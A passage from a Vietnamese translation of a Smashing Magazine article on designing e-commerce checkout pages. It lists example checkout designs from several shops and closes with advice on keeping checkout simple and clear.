Ama­zon sẽ gửi bạn một email sau khi bạn đã thanh toán để xác nhận các chi tiết và cũng để giải thích cách bạn có thể sửa đổi nó trước khi nó được vận chuyển.

Nếu có sai lầm, họ sẽ có thể đăng nhập lại và sửa đổi đơn hàng trước khi nó được chuyển đi. những sai lầm đơn giản như chọn kích thước sai hoặc màu sắc sẽ xảy ra, do đó, hãy làm cho kinh nghiệm mua sắm dễ dàng và hỗ trợ cho khách hàng của bạn.

Sau đây là một số trang thanh toán:

Shopcomposition in 12 Tips For Designing an Excellent Checkout Process
Shop­com­po­si­tion uses an ele­gant and min­i­mal­ist check­out design.

Inkd in 12 Tips For Designing an Excellent Checkout Process
Inkd’s check­out pages are clean and simple.

Atebits in 12 Tips For Designing an Excellent Checkout Process
Trang thanh toán của Atebits được thiết kế rất đẹp


Threadless in 12 Tips For Designing an Excellent Checkout Process
Thread­less makes every­thing clear by pro­vid­ing plenty of information.

Swarovski in 12 Tips For Designing an Excellent Checkout Process
Swarovski clearly shows what stage of the process you’re at with a large progress bar at the top.

Openmoko Cart in 12 Tips For Designing an Excellent Checkout Process
Openmoko’s sim­ple 2 page checkout.

Madebysofa in 12 Tips For Designing an Excellent Checkout Process
Sofa’s one page checkout.

Panic in 12 Tips For Designing an Excellent Checkout Process
Panic’s beau­ti­ful sin­gle page check­out page for their Coda editor.

Kết luận …

Xây dựng một sản phẩm thanh toán tốt có một số vấn đề. Đó là về loại bỏ phiền nhiễu để giúp người dùng tập trung vào nhiệm vụ chính. Đó là về cung cấp tất cả các thông tin cần thiết và giúp đỡ để khách hàng hiểu được tất cả các giai đoạn của quá trình. Quan trọng nhất, làm cho nó dễ dàng, bởi vì sau tất cả, quá trình thanh toán nhanh hơn, khách hàng của bạn sẽ cảm thấy hạnh phúc hơn. Và bạn cũng vui vẻ hoàn thành công việc của mình.

Dịch và biên tập từ: SmashingMagazine